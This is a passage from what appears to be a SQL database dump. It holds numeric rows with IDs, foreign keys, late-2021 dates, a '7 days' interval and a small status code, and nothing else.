days',0),(63220,11446,11481,11894,222,85,'2021-11-12','7 days',0),(63221,11445,11481,11894,222,85,'2021-11-12','7 days',0),(63222,11444,11481,11894,222,85,'2021-11-12','7 days',0),(63223,11443,11481,11894,222,85,'2021-11-12','7 days',2),(63224,11442,11481,11894,222,85,'2021-11-12','7 days',0),(63225,11440,11481,11894,222,85,'2021-11-12','7 days',0),(63226,11438,11481,11894,222,85,'2021-11-12','7 days',0),(63227,11437,11481,11894,222,85,'2021-11-12','7 days',0),(63228,11436,11481,11894,222,85,'2021-11-12','7 days',0),(63229,11431,11481,11894,222,85,'2021-11-12','7 days',0),(63230,11269,11481,11894,222,85,'2021-11-12','7 days',0),(63231,11268,11481,11894,222,85,'2021-11-12','7 days',0),(63232,11266,11481,11894,222,85,'2021-11-12','7 days',0),(63233,11263,11481,11894,222,85,'2021-11-12','7 days',1),(63234,11262,11481,11894,222,85,'2021-11-12','7 days',2),(63235,11261,11481,11894,222,85,'2021-11-12','7 days',0),(63236,11260,11481,11894,222,85,'2021-11-12','7 days',0),(63237,18593,11492,11901,194,45,'2021-11-12','7 days',1),(63238,11520,11492,11901,194,45,'2021-11-12','7 days',1),(63239,11519,11492,11901,194,45,'2021-11-12','7 days',1),(63267,20438,11479,11892,1670,277,'2021-11-15','7 days',2),(63268,20437,11479,11892,1670,277,'2021-11-15','7 days',0),(63269,20436,11479,11892,1670,277,'2021-11-15','7 days',0),(63270,20435,11479,11892,1670,277,'2021-11-15','7 days',0),(63271,20434,11479,11892,1670,277,'2021-11-15','7 days',0),(63272,20433,11479,11892,1670,277,'2021-11-15','7 days',0),(63273,20432,11479,11892,1670,277,'2021-11-15','7 days',0),(63274,20431,11479,11892,1670,277,'2021-11-15','7 days',0),(63275,20430,11479,11892,1670,277,'2021-11-15','7 days',0),(63276,20429,11479,11892,1670,277,'2021-11-15','7 days',0),(63285,20696,11487,11899,1740,1020,'2021-11-16','7 days',1),(63286,20695,11487,11899,1740,1020,'2021-11-16','7 days',1),(63320,11446,11534,11703,221,85,'2021-11-16','7 days',0),(63321,11445,11534,11703,221,85,'2021-11-16','7 days',0),(63322,11442,11534,11703,221,85,'2021-11-16','7 days',2),(63323,11441,11534,11703,221,85,'2021-11-16','7 days',0),(63324,11440,11534,11703,221,85,'2021-11-16','7 days',0),(63325,11438,11534,11703,221,85,'2021-11-16','7 days',0),(63326,11433,11534,11703,221,85,'2021-11-16','7 days',0),(63327,11432,11534,11703,221,85,'2021-11-16','7 days',0),(63328,11431,11534,11703,221,85,'2021-11-16','7 days',0),(63329,11269,11534,11703,221,85,'2021-11-16','7 days',0),(63330,11264,11534,11703,221,85,'2021-11-16','7 days',0),(63331,11263,11534,11703,221,85,'2021-11-16','7 days',1),(63332,11262,11534,11703,221,85,'2021-11-16','7 days',2),(63333,11261,11534,11703,221,85,'2021-11-16','7 days',0),(63334,11260,11534,11703,221,85,'2021-11-16','7 days',0),(63335,11446,11530,11938,221,85,'2021-11-16','7 days',0),(63336,11445,11530,11938,221,85,'2021-11-16','7 days',0),(63337,11440,11530,11938,221,85,'2021-11-16','7 days',0),(63338,11438,11530,11938,221,85,'2021-11-16','7 days',0),(63339,11437,11530,11938,221,85,'2021-11-16','7 days',0),(63340,11436,11530,11938,221,85,'2021-11-16','7 days',0),(63341,11433,11530,11938,221,85,'2021-11-16','7 days',0),(63342,11432,11530,11938,221,85,'2021-11-16','7 days',0),(63343,11431,11530,11938,221,85,'2021-11-16','7 days',0),(63344,11269,11530,11938,221,85,'2021-11-16','7 days',0),(63345,11268,11530,11938,221,85,'2021-11-16','7 days',0),(63346,11264,11530,11938,221,85,'2021-11-16','7 days',0),(63347,11263,11530,11938,221,85,'2021-11-16','7 days',1),(63348,11262,11530,11938,221,85,'2021-11-16','7 days',2),(63349,11261,11530,11938,221,85,'2021-11-16','7 days',0),(63447,11446,11546,11947,221,85,'2021-11-17','7 days',0),(63448,11445,11546,11947,221,85,'2021-11-17','7 days',0),(63449,11444,11546,11947,221,85,'2021-11-17','7 days',0),(63450,11443,11546,11947,221,85,'2021-11-17','7 days',1),(63451,11437,11546,11947,221,85,'2021-11-17','7 days',0),(63452,11436,11546,11947,221,85,'2021-11-17','7 days',0),(63453,11435,11546,11947,221,85,'2021-11-17','7 days',0),(63454,11434,11546,11947,221,85,'2021-11-17','7 days',0),(63455,11267,11546,11947,221,85,'2021-11-17','7 days',0),(63456,11266,11546,11947,221,85,'2021-11-17','7 days',0),(63457,11265,11546,11947,221,85,'2021-11-17','7 days',0),(63458,11263,11546,11947,221,85,'2021-11-17','7 days',2),(63459,11262,11546,11947,221,85,'2021-11-17','7 days',2),(63460,11261,11546,11947,221,85,'2021-11-17','7 days',0),(63461,11260,11546,11947,221,85,'2021-11-17','7 days',0),(63462,18594,11541,9821,194,45,'2021-11-17','7 days',1),(63463,18593,11541,9821,194,45,'2021-11-17','7 days',1),(63464,11520,11541,9821,194,45,'2021-11-17','7 days',1),(63465,11519,11541,9821,194,45,'2021-11-17','7 days',1),(63491,16277,11403,11835,1406,971,'2021-11-17','7 days',0),(63492,16276,11403,11835,1406,971,'2021-11-17','7 days',0),(63493,16139,11403,11835,1406,971,'2021-11-17','7 days',1),(63494,12739,11403,11835,1406,971,'2021-11-17','7 days',1),(63495,11698,11403,11835,1406,971,'2021-11-17','7 days',0),(63496,11456,11403,11835,1406,971,'2021-11-17','7 days',2),(63497,11126,11403,11835,1406,971,'2021-11-17','7 days',1),(63498,10978,11403,11835,1406,971,'2021-11-17','7 days',1),(63499,10967,11403,11835,1406,971,'2021-11-17','7 days',1),(63500,10965,11403,11835,1406,971,'2021-11-17','7 days',0),(63501,10964,11403,11835,1406,971,'2021-11-17','7 days',0),(63502,10963,11403,11835,1406,971,'2021-11-17','7 days',1),(63509,18830,11566,11965,1410,975,'2021-11-18','7 days',1),(63510,17409,11566,11965,1410,975,'2021-11-18','7 days',1),(63511,17408,11566,11965,1410,975,'2021-11-18','7 days',1),(63597,16880,11550,11954,1291,86,'2021-11-20','7 days',0),(63708,11446,11590,11994,221,85,'2021-11-22','7 days',0),(63709,11445,11590,11994,221,85,'2021-11-22','7 days',0),(63710,11444,11590,11994,221,85,'2021-11-22','7 days',0),(63711,11441,11590,11994,221,85,'2021-11-22','7 days',0),(63712,11440,11590,11994,221,85,'2021-11-22','7 days',0),(63713,11438,11590,11994,221,85,'2021-11-22','7 days',0),(63714,11433,11590,11994,221,85,'2021-11-22','7 days',0),(63715,11432,11590,11994,221,85,'2021-11-22','7 days',0),(63716,11431,11590,11994,221,85,'2021-11-22','7 days',0),(63717,11269,11590,11994,221,85,'2021-11-22','7 days',0),(63718,11265,11590,11994,221,85,'2021-11-22','7 days',0),(63719,11264,11590,11994,221,85,'2021-11-22','7 days',0),(63720,11263,11590,11994,221,85,'2021-11-22','7 days',2),(63721,11262,11590,11994,221,85,'2021-11-22','7 days',2),(63722,11261,11590,11994,221,85,'2021-11-22','7 days',0),(63723,11260,11590,11994,221,85,'2021-11-22','7 days',0),(63728,11446,11599,12000,221,85,'2021-11-22','7 days',0),(63729,11445,11599,12000,221,85,'2021-11-22','7 days',0),(63730,11444,11599,12000,221,85,'2021-11-22','7 days',0),(63731,11442,11599,12000,221,85,'2021-11-22','7 days',1),(63732,11441,11599,12000,221,85,'2021-11-22','7 days',0),(63733,11440,11599,12000,221,85,'2021-11-22','7 days',0),(63734,11437,11599,12000,221,85,'2021-11-22','7 days',0),(63735,11431,11599,12000,221,85,'2021-11-22','7 days',0),(63736,11269,11599,12000,221,85,'2021-11-22','7 days',0),(63737,11267,11599,12000,221,85,'2021-11-22','7 days',0),(63738,11263,11599,12000,221,85,'2021-11-22','7 days',1),(63739,11262,11599,12000,221,85,'2021-11-22','7 days',1),(63740,11261,11599,12000,221,85,'2021-11-22','7 days',0),(63741,11260,11599,12000,221,85,'2021-11-22','7 days',0),(63791,18830,11610,12005,1410,975,'2021-11-23','7 days',1),(63792,17409,11610,12005,1410,975,'2021-11-23','7 days',1),(63793,17405,11610,12005,1410,975,'2021-11-23','7 days',1),(63794,18830,11611,12006,1410,975,'2021-11-23','7 days',1),(63795,17409,11611,12006,1410,975,'2021-11-23','7 days',1),(63796,17408,11611,12006,1410,975,'2021-11-23','7 days',1),(63797,15826,11550,11954,1291,86,'2021-11-23','7 days',0),(63798,13344,11550,11954,1291,86,'2021-11-23','7 days',0),(63799,13343,11550,11954,1291,86,'2021-11-23','7 days',0),(63826,17081,11234,11713,1408,86,'2021-11-24','7 days',0),(63827,20696,11589,11988,1740,1020,'2021-11-24','7 days',1),(63828,17080,11234,11713,1408,86,'2021-11-24','7 days',0),(63829,20695,11589,11988,1740,1020,'2021-11-24','7 days',1),(63830,17079,11234,11713,1408,86,'2021-11-24','7 days',0),(63831,12379,11234,11713,1408,86,'2021-11-24','7 days',0),(63832,12378,11234,11713,1408,86,'2021-11-24','7 days',0),(63833,11724,11234,11713,1408,86,'2021-11-24','7 days',0),(63834,11723,11234,11713,1408,86,'2021-11-24','7 days',2),(63835,11722,11234,11713,1408,86,'2021-11-24','7 days',0),(63836,20730,11234,11713,1408,86,'2021-11-24','7 days',0),(63837,20666,11234,11713,1408,86,'2021-11-24','7 days',0),(63838,20665,11234,11713,1408,86,'2021-11-24','7 days',1),(63839,18934,11234,11713,1408,86,'2021-11-24','7 days',2),(63840,15586,11234,11713,1408,86,'2021-11-24','7 days',0),(63841,14994,11234,11713,1408,86,'2021-11-24','7 days',1),(63842,17682,10366,11035,1669,277,'2021-11-24','7 days',1),(63843,17681,10366,11035,1669,277,'2021-11-24','7 days',2),(63844,15861,10366,11035,1669,277,'2021-11-24','7 days',0),(63845,15860,10366,11035,1669,277,'2021-11-24','7 days',0),(63846,15859,10366,11035,1669,277,'2021-11-24','7 days',0),(63847,15858,10366,11035,1669,277,'2021-11-24','7 days',0),(63848,15857,10366,11035,1669,277,'2021-11-24','7 days',0),(63849,15856,10366,11035,1669,277,'2021-11-24','7 days',0),(63850,15855,10366,11035,1669,277,'2021-11-24','7 days',0),(63851,15854,10366,11035,1669,277,'2021-11-24','7 days',0),(63852,9910,11152,11655,1665,277,'2021-11-24','7 days',0),(63853,9909,11152,11655,1665,277,'2021-11-24','7 days',1),(63854,9908,11152,11655,1665,277,'2021-11-24','7 days',0),(63855,9907,11152,11655,1665,277,'2021-11-24','7 days',0),(63856,9906,11152,11655,1665,277,'2021-11-24','7 days',0),(63857,9900,11152,11655,1665,277,'2021-11-24','7 days',2),(63858,9899,11152,11655,1665,277,'2021-11-24','7 days',0),(63859,9898,11152,11655,1665,277,'2021-11-24','7 days',0),(63860,9897,11152,11655,1665,277,'2021-11-24','7 days',1),(63861,8590,11152,11655,1665,277,'2021-11-24','7 days',1),(63862,12025,10366,11035,1669,277,'2021-11-24','7 days',0),(63863,12024,10366,11035,1669,277,'2021-11-24','7 days',0),(63864,12023,10366,11035,1669,277,'2021-11-24','7 days',0),(63865,12022,10366,11035,1669,277,'2021-11-24','7 days',1),(63866,12021,10366,11035,1669,277,'2021-11-24','7 days',0),(63867,12020,10366,11035,1669,277,'2021-11-24','7 days',0),(63868,12019,10366,11035,1669,277,'2021-11-24','7 days',0),(63869,12018,10366,11035,1669,277,'2021-11-24','7 days',0),(63870,12017,10366,11035,1669,277,'2021-11-24','7 days',0),(63871,11844,10366,11035,1669,277,'2021-11-24','7 days',0),(63872,11659,10366,11035,1669,277,'2021-11-24','7 days',0),(63873,11450,10366,11035,1669,277,'2021-11-24','7 days',2),(63874,11449,10366,11035,1669,277,'2021-11-24','7 days',0),(63875,11448,10366,11035,1669,277,'2021-11-24','7 days',0),(63876,11447,10366,11035,1669,277,'2021-11-24','7 days',0),(63877,11439,10366,11035,1669,277,'2021-11-24','7 days',0),(63878,9911,10366,11035,1669,277,'2021-11-24','7 days',1),(63879,15855,11152,11655,1665,277,'2021-11-24','7 days',0),(63880,15854,11152,11655,1665,277,'2021-11-24','7 days',1),(63881,15746,11152,11655,1665,277,'2021-11-24','7 days',1),(63882,13354,11152,11655,1665,277,'2021-11-24','7 days',1),(63883,12971,11152,11655,1665,277,'2021-11-24','7 days',2),(63884,12027,11152,11655,1665,277,'2021-11-24','7 days',2),(63929,20731,11234,11713,1408,86,'2021-11-24','7 days',0),(63941,18830,11618,12009,1410,975,'2021-11-24','7 days',1),(63942,17409,11618,12009,1410,975,'2021-11-24','7 days',1),(63943,18838,11619,12011,1410,975,'2021-11-24','7 days',1),(63944,18427,11619,12011,1410,975,'2021-11-24','7 days',1),(63945,18426,11619,12011,1410,975,'2021-11-24','7 days',0),(64008,15353,11550,11954,1291,86,'2021-11-26','7 days',0),(64009,15352,11550,11954,1291,86,'2021-11-26','7 days',0),(64010,15349,11550,11954,1291,86,'2021-11-26','7 days',2),(64011,15348,11550,11954,1291,86,'2021-11-26','7 days',0),(64012,13720,11550,11954,1291,86,'2021-11-26','7 days',0),(64013,13099,11550,11954,1291,86,'2021-11-26','7 days',1),(64014,13085,11550,11954,1291,86,'2021-11-26','7 days',0),(64015,13008,11550,11954,1291,86,'2021-11-26','7 days',0),(64016,12785,11550,11954,1291,86,'2021-11-26','7 days',0),(64017,12303,11550,11954,1291,86,'2021-11-26','7 days',0),(64018,12299,11550,11954,1291,86,'2021-11-26','7 days',0),(64019,12296,11550,11954,1291,86,'2021-11-26','7 days',0),(64020,11967,11550,11954,1291,86,'2021-11-26','7 days',0),(64021,11954,11550,11954,1291,86,'2021-11-26','7 days',1),(64022,11951,11550,11954,1291,86,'2021-11-26','7 days',0),(64023,11949,11550,11954,1291,86,'2021-11-26','7 days',0),(64024,20731,11550,11954,1291,86,'2021-11-26','7 days',0),(64025,18594,11693,12065,194,45,'2021-11-26','7 days',1),(64026,18593,11693,12065,194,45,'2021-11-26','7 days',1),(64027,11520,11693,12065,194,45,'2021-11-26','7 days',1),(64028,11519,11693,12065,194,45,'2021-11-26','7 days',1),(64029,18594,11684,12056,194,45,'2021-11-26','7 days',1),(64030,18593,11684,12056,194,45,'2021-11-26','7 days',1),(64031,11520,11684,12056,194,45,'2021-11-26','7 days',1),(64032,11519,11684,12056,194,45,'2021-11-26','7 days',1),(64061,11446,11670,12050,221,85,'2021-11-27','7 days',0),(64062,11445,11670,12050,221,85,'2021-11-27','7 days',0),(64063,11444,11670,12050,221,85,'2021-11-27','7 days',0),(64064,11443,11670,12050,221,85,'2021-11-27','7 days',1),(64065,11440,11670,12050,221,85,'2021-11-27','7 days',0),(64066,11438,11670,12050,221,85,'2021-11-27','7 days',0),(64067,11436,11670,12050,221,85,'2021-11-27','7 days',2),(64068,11435,11670,12050,221,85,'2021-11-27','7 days',0),(64069,11432,11670,12050,221,85,'2021-11-27','7 days',0),(64070,11431,11670,12050,221,85,'2021-11-27','7 days',0),(64071,11269,11670,12050,221,85,'2021-11-27','7 days',0),(64072,11268,11670,12050,221,85,'2021-11-27','7 days',0),(64073,11267,11670,12050,221,85,'2021-11-27','7 days',0),(64074,11266,11670,12050,221,85,'2021-11-27','7 days',0),(64075,11263,11670,12050,221,85,'2021-11-27','7 days',2),(64076,11262,11670,12050,221,85,'2021-11-27','7 days',2),(64077,11261,11670,12050,221,85,'2021-11-27','7 days',0),(64078,11260,11670,12050,221,85,'2021-11-27','7 days',0),(64099,20696,11673,12053,1740,1020,'2021-11-29','7 days',1),(64100,20695,11673,12053,1740,1020,'2021-11-29','7 days',1),(64101,18594,11739,9153,194,45,'2021-11-29','7 days',1),(64102,18593,11739,9153,194,45,'2021-11-29','7 days',1),(64103,11520,11739,9153,194,45,'2021-11-29','7 days',1),(64104,11519,11739,9153,194,45,'2021-11-29','7 days',1),(64105,18594,11744,10847,194,45,'2021-11-29','7 days',1),(64106,18593,11744,10847,194,45,'2021-11-29','7 days',1),(64107,11520,11744,10847,194,45,'2021-11-29','7 days',1),(64108,11519,11744,10847,194,45,'2021-11-29','7 days',1),(64109,18592,11739,9153,194,45,'2021-11-29','7 days',1),(64171,15350,11550,11954,1291,86,'2021-11-30','7 days',0),(64172,13005,11550,11954,1291,86,'2021-11-30','7 days',0),(64173,13004,11550,11954,1291,86,'2021-11-30','7 days',0),(64174,12358,11550,11954,1291,86,'2021-11-30','7 days',2),(64175,12357,11550,11954,1291,86,'2021-11-30','7 days',0),(64176,11965,11550,11954,1291,86,'2021-11-30','7 days',0),(64279,17212,10925,11476,1315,959,'2021-11-30','7 days',1),(64280,17204,10925,11476,1315,959,'2021-11-30','7 days',1),(64281,15747,10925,11476,1315,959,'2021-11-30','7 days',0),(64282,17215,11450,11873,1324,959,'2021-11-30','7 days',0),(64283,17209,11450,11873,1324,959,'2021-11-30','7 days',0),(64284,17208,11450,11873,1324,959,'2021-11-30','7 days',1),(64285,10393,11450,11873,1324,959,'2021-11-30','7 days',1),(64307,20731,11808,12148,1291,86,'2021-12-01','7 days',0),(64308,20730,11808,12148,1291,86,'2021-12-01','7 days',0),(64309,20666,11808,12148,1291,86,'2021-12-01','7 days',0),(64310,20665,11808,12148,1291,86,'2021-12-01','7 days',1),(64311,16739,11808,12148,1291,86,'2021-12-01','7 days',0),(64312,16024,11808,12148,1291,86,'2021-12-01','7 days',0),(64313,15567,11808,12148,1291,86,'2021-12-01','7 days',0),(64314,11848,11808,12148,1291,86,'2021-12-01','7 days',0),(64315,11581,11808,12148,1291,86,'2021-12-01','7 days',1),(64316,9718,11808,12148,1291,86,'2021-12-01','7 days',0),(64317,8999,11808,12148,1291,86,'2021-12-01','7 days',2),(64318,8997,11808,12148,1291,86,'2021-12-01','7 days',0),(64319,14784,11786,12104,1408,86,'2021-12-01','7 days',0),(64320,14783,11786,12104,1408,86,'2021-12-01','7 days',0),(64321,14664,11786,12104,1408,86,'2021-12-01','7 days',0),(64322,14663,11786,12104,1408,86,'2021-12-01','7 days',1),(64323,14662,11786,12104,1408,86,'2021-12-01','7 days',1),(64324,20762,11786,12104,1408,86,'2021-12-01','7 days',0),(64325,20761,11786,12104,1408,86,'2021-12-01','7 days',0),(64342,15826,11808,12148,1291,86,'2021-12-01','7 days',0),(64343,13341,11808,12148,1291,86,'2021-12-01','7 days',0),(64344,13340,11808,12148,1291,86,'2021-12-01','7 days',0),(64411,18838,11852,12179,1410,975,'2021-12-03','7 days',1),(64412,18427,11852,12179,1410,975,'2021-12-03','7 days',1),(64413,18426,11852,12179,1410,975,'2021-12-03','7 days',0),(64414,18933,11808,12148,1291,86,'2021-12-03','7 days',0),(64415,18913,11808,12148,1291,86,'2021-12-03','7 days',1),(64416,18292,11808,12148,1291,86,'2021-12-03','7 days',0),(64417,14913,11808,12148,1291,86,'2021-12-03','7 days',0),(64418,10807,11808,12148,1291,86,'2021-12-03','7 days',2),(64419,5747,11808,12148,1291,86,'2021-12-03','7 days',1),(64420,5745,11808,12148,1291,86,'2021-12-03','7 days',0),(64421,5743,11808,12148,1291,86,'2021-12-03','7 days',0),(64422,5741,11808,12148,1291,86,'2021-12-03','7 days',0),(64423,5739,11808,12148,1291,86,'2021-12-03','7 days',0),(64424,16788,11550,11954,1291,86,'2021-12-03','7 days',0),(64425,16787,11550,11954,1291,86,'2021-12-03','7 days',0),(64426,16786,11550,11954,1291,86,'2021-12-03','7 days',1),(64427,16785,11550,11954,1291,86,'2021-12-03','7 days',0),(64428,16749,11550,11954,1291,86,'2021-12-03','7 days',0),(64429,16748,11550,11954,1291,86,'2021-12-03','7 days',0),(64430,16747,11550,11954,1291,86,'2021-12-03','7 days',0),(64431,16746,11550,11954,1291,86,'2021-12-03','7 days',2),(64432,16745,11550,11954,1291,86,'2021-12-03','7 days',0),(64433,16744,11550,11954,1291,86,'2021-12-03','7 days',2),(64434,16743,11550,11954,1291,86,'2021-12-03','7 days',2),(64448,18594,11859,12186,194,45,'2021-12-04','7 days',1),(64449,18593,11859,12186,194,45,'2021-12-04','7 days',1),(64450,18592,11859,12186,194,45,'2021-12-04','7 days',1),(64451,11520,11859,12186,194,45,'2021-12-04','7 days',1),(64452,11519,11859,12186,194,45,'2021-12-04','7 days',1),(64453,20731,11855,12182,1408,86,'2021-12-04','7 days',0),(64454,20730,11855,12182,1408,86,'2021-12-04','7 days',0),(64455,20666,11855,12182,1408,86,'2021-12-04','7 days',0),(64456,20665,11855,12182,1408,86,'2021-12-04','7 days',1),(64457,18934,11855,12182,1408,86,'2021-12-04','7 days',0),(64458,18930,11855,12182,1408,86,'2021-12-04','7 days',0),(64459,18929,11855,12182,1408,86,'2021-12-04','7 days',1),(64460,18928,11855,12182,1408,86,'2021-12-04','7 days',1),(64461,18695,11855,12182,1408,86,'2021-12-04','7 days',0),(64462,18562,11855,12182,1408,86,'2021-12-04','7 days',0),(64463,9000,11855,12182,1408,86,'2021-12-04','7 days',1),(64464,8999,11855,12182,1408,86,'2021-12-04','7 days',2),(64475,18838,11872,12193,1410,975,'2021-12-06','7 days',1),(64476,18427,11872,12193,1410,975,'2021-12-06','7 days',1),(64477,18426,11872,12193,1410,975,'2021-12-06','7 days',0),(64532,20770,11550,11954,1291,86,'2021-12-06','7 days',0),(64533,20769,11550,11954,1291,86,'2021-12-06','7 days',2),(64534,20768,11550,11954,1291,86,'2021-12-06','7 days',0),(64535,20767,11550,11954,1291,86,'2021-12-06','7 days',0),(64556,18913,11786,12104,1408,86,'2021-12-07','7 days',0),(64557,5755,11786,12104,1408,86,'2021-12-07','7 days',1),(64558,5743,11786,12104,1408,86,'2021-12-07','7 days',0),(64605,17682,11586,11985,1666,277,'2021-12-07','7 days',1),(64606,17681,11586,11985,1666,277,'2021-12-07','7 days',0),(64607,15861,11586,11985,1666,277,'2021-12-07','7 days',0),(64608,15860,11586,11985,1666,277,'2021-12-07','7 days',0),(64609,15859,11586,11985,1666,277,'2021-12-07','7 days',0),(64610,15858,11586,11985,1666,277,'2021-12-07','7 days',2),(64611,15857,11586,11985,1666,277,'2021-12-07','7 days',0),(64612,15856,11586,11985,1666,277,'2021-12-07','7 days',0),(64613,15855,11586,11985,1666,277,'2021-12-07','7 days',0),(64614,9902,11806,12146,1668,277,'2021-12-07','7 days',0),(64615,9901,11806,12146,1668,277,'2021-12-07','7 days',0),(64616,9900,11806,12146,1668,277,'2021-12-07','7 days',2),(64617,9899,11806,12146,1668,277,'2021-12-07','7 days',0),(64618,9898,11806,12146,1668,277,'2021-12-07','7 days',0),(64619,9897,11806,12146,1668,277,'2021-12-07','7 days',1),(64620,8590,11806,12146,1668,277,'2021-12-07','7 days',1),(64758,18594,11759,12114,194,45,'2021-12-09','7 days',1),(64759,18593,11759,12114,194,45,'2021-12-09','7 days',1),(64760,18592,11759,12114,194,45,'2021-12-09','7 days',1),(64761,11520,11759,12114,194,45,'2021-12-09','7 days',1),(64762,11519,11759,12114,194,45,'2021-12-09','7 days',1),(64763,18594,10881,11441,194,45,'2021-12-09','7 days',1),(64764,18593,10881,11441,194,45,'2021-12-09','7 days',1),(64765,18592,10881,11441,194,45,'2021-12-09','7 days',1),(64766,11520,10881,11441,194,45,'2021-12-09','7 days',1),(64767,11519,10881,11441,194,45,'2021-12-09','7 days',1),(64774,18593,11932,12241,194,45,'2021-12-09','7 days',1),(64775,18592,11932,12241,194,45,'2021-12-09','7 days',1),(64776,11520,11932,12241,194,45,'2021-12-09','7 days',1),(64777,11519,11932,12241,194,45,'2021-12-09','7 days',1),(64781,13669,11786,12104,1408,86,'2021-12-10','7 days',2),(64782,9002,11786,12104,1408,86,'2021-12-10','7 days',0),(64808,20770,11949,12253,203,86,'2021-12-10','7 days',0),(64809,20769,11949,12253,203,86,'2021-12-10','7 days',0),(64810,20768,11949,12253,203,86,'2021-12-10','7 days',0),(64811,20767,11949,12253,203,86,'2021-12-10','7 days',0),(64812,20766,11949,12253,203,86,'2021-12-10','7 days',1),(64813,20765,11949,12253,203,86,'2021-12-10','7 days',1),(64814,19562,11949,12253,203,86,'2021-12-10','7 days',0),(64815,19561,11949,12253,203,86,'2021-12-10','7 days',0),(64816,19560,11949,12253,203,86,'2021-12-10','7 days',0),(64817,19559,11949,12253,203,86,'2021-12-10','7 days',0),(64818,19558,11949,12253,203,86,'2021-12-10','7 days',0),(64819,19557,11949,12253,203,86,'2021-12-10','7 days',0),(64820,16209,11949,12253,203,86,'2021-12-10','7 days',0),(64821,15976,11949,12253,203,86,'2021-12-10','7 days',0),(64822,14782,11949,12253,203,86,'2021-12-10','7 days',2),(64823,14781,11949,12253,203,86,'2021-12-10','7 days',0),(64824,14780,11949,12253,203,86,'2021-12-10','7 days',0),(64825,14779,11949,12253,203,86,'2021-12-10','7 days',0),(64826,13094,11949,12253,203,86,'2021-12-10','7 days',0),(64827,13086,11949,12253,203,86,'2021-12-10','7 days',0),(64828,12817,11949,12253,203,86,'2021-12-10','7 days',0),(64829,12425,11949,12253,203,86,'2021-12-10','7 days',0),(64830,12424,11949,12253,203,86,'2021-12-10','7 days',0),(64831,12423,11949,12253,203,86,'2021-12-10','7 days',0),(64832,12422,11949,12253,203,86,'2021-12-10','7 days',0),(64833,12361,11949,12253,203,86,'2021-12-10','7 days',2),(64834,12356,11949,12253,203,86,'2021-12-10','7 days',2),(64835,12355,11949,12253,203,86,'2021-12-10','7 days',0),(64836,12354,11949,12253,203,86,'2021-12-10','7 days',1),(64837,9535,11949,12253,203,86,'2021-12-10','7 days',0),(64838,9534,11949,12253,203,86,'2021-12-10','7 days',0),(64839,9533,11949,12253,203,86,'2021-12-10','7 days',0),(64840,9532,11949,12253,203,86,'2021-12-10','7 days',0),(64841,9531,11949,12253,203,86,'2021-12-10','7 days',0),(64882,18830,11951,12255,1410,975,'2021-12-13','7 days',1),(64883,17409,11951,12255,1410,975,'2021-12-13','7 days',1),(64884,17384,11951,12255,1410,975,'2021-12-13','7 days',0),(64885,17383,11951,12255,1410,975,'2021-12-13','7 days',1),(64886,17382,11951,12255,1410,975,'2021-12-13','7 days',0),(64907,18593,11962,12267,194,45,'2021-12-14','7 days',1),(64908,18592,11962,12267,194,45,'2021-12-14','7 days',1),(64909,11845,11962,12267,194,45,'2021-12-14','7 days',1),(64910,11520,11962,12267,194,45,'2021-12-14','7 days',1),(64911,11519,11962,12267,194,45,'2021-12-14','7 days',1),(64913,17212,11959,12263,1324,959,'2021-12-14','7 days',1),(64914,17204,11959,12263,1324,959,'2021-12-14','7 days',1),(64915,15747,11959,12263,1324,959,'2021-12-14','7 days',0),(64916,17213,11230,11710,1310,959,'2021-12-14','7 days',1),(64917,17211,11230,11710,1310,959,'2021-12-14','7 days',1),(64918,14071,11230,11710,1310,959,'2021-12-14','7 days',1),(64919,17216,11870,12191,1324,959,'2021-12-14','7 days',0),(64920,13915,11870,12191,1324,959,'2021-12-14','7 days',0),(64921,13914,11870,12191,1324,959,'2021-12-14','7 days',1),(64991,16880,11855,12182,1408,86,'2021-12-14','7 days',0),(64992,16788,11855,12182,1408,86,'2021-12-14','7 days',0),(64993,16787,11855,12182,1408,86,'2021-12-14','7 days',0),(64994,16786,11855,12182,1408,86,'2021-12-14','7 days',1),(64995,16785,11855,12182,1408,86,'2021-12-14','7 days',0),(64996,16749,11855,12182,1408,86,'2021-12-14','7 days',0),(64997,16748,11855,12182,1408,86,'2021-12-14','7 days',0),(64998,16747,11855,12182,1408,86,'2021-12-14','7 days',0),(64999,16746,11855,12182,1408,86,'2021-12-14','7 days',2),(65000,16745,11855,12182,1408,86,'2021-12-14','7 days',0),(65001,16744,11855,12182,1408,86,'2021-12-14','7 days',1),(65002,16743,11855,12182,1408,86,'2021-12-14','7 days',2),(65003,16742,11855,12182,1408,86,'2021-12-14','7 days',0),(65004,12357,11855,12182,1408,86,'2021-12-14','7 days',0),(65005,12299,11855,12182,1408,86,'2021-12-14','7 days',0),(65040,20696,11969,12273,1740,1020,'2021-12-15','7 days',1),(65041,20695,11969,12273,1740,1020,'2021-12-15','7 days',1),(65042,20696,11968,12272,1740,1020,'2021-12-15','7 days',1),(65043,20695,11968,12272,1740,1020,'2021-12-15','7 days',1),(65057,20789,11949,12253,203,86,'2021-12-15','7 days',0),(65058,20731,11949,12253,203,86,'2021-12-15','7 days',0),(65059,20730,11949,12253,203,86,'2021-12-15','7 days',0),(65060,20666,11949,12253,203,86,'2021-12-15','7 days',0),(65061,15588,11949,12253,203,86,'2021-12-15','7 days',1),(65062,15493,11949,12253,203,86,'2021-12-15','7 days',0),(65063,10962,11949,12253,203,86,'2021-12-15','7 days',1),(65064,9007,11949,12253,203,86,'2021-12-15','7 days',0),(65116,11446,11963,12268,221,85,'2021-12-16','7 days',0),(65117,11445,11963,12268,221,85,'2021-12-16','7 days',0),(65118,11444,11963,12268,221,85,'2021-12-16','7 days',0),(65119,11442,11963,12268,221,85,'2021-12-16','7 days',0),(65120,11441,11963,12268,221,85,'2021-12-16','7 days',0),(65121,11440,11963,12268,221,85,'2021-12-16','7 days',0),(65122,11437,11963,12268,221,85,'2021-12-16','7 days',0),(65123,11436,11963,12268,221,85,'2021-12-16','7 days',0),(65124,11432,11963,12268,221,85,'2021-12-16','7 days',0),(65125,11431,11963,12268,221,85,'2021-12-16','7 days',0),(65126,11269,11963,12268,221,85,'2021-12-16','7 days',0),(65127,11268,11963,12268,221,85,'2021-12-16','7 days',0),(65128,11264,11963,12268,221,85,'2021-12-16','7 days',0),(65129,11262,11963,12268,221,85,'2021-12-16','7 days',2),(65130,11261,11963,12268,221,85,'2021-12-16','7 days',0),(65131,11260,11963,12268,221,85,'2021-12-16','7 days',0),(65145,20792,11963,12268,221,85,'2021-12-16','7 days',1),(65150,20812,11958,12261,1732,667,'2021-12-16','7 days',0),(65151,20811,11958,12261,1732,667,'2021-12-16','7 days',2),(65152,20810,11958,12261,1732,667,'2021-12-16','7 days',0),(65153,20809,11958,12261,1732,667,'2021-12-16','7 days',0),(65154,20808,11958,12261,1732,667,'2021-12-16','7 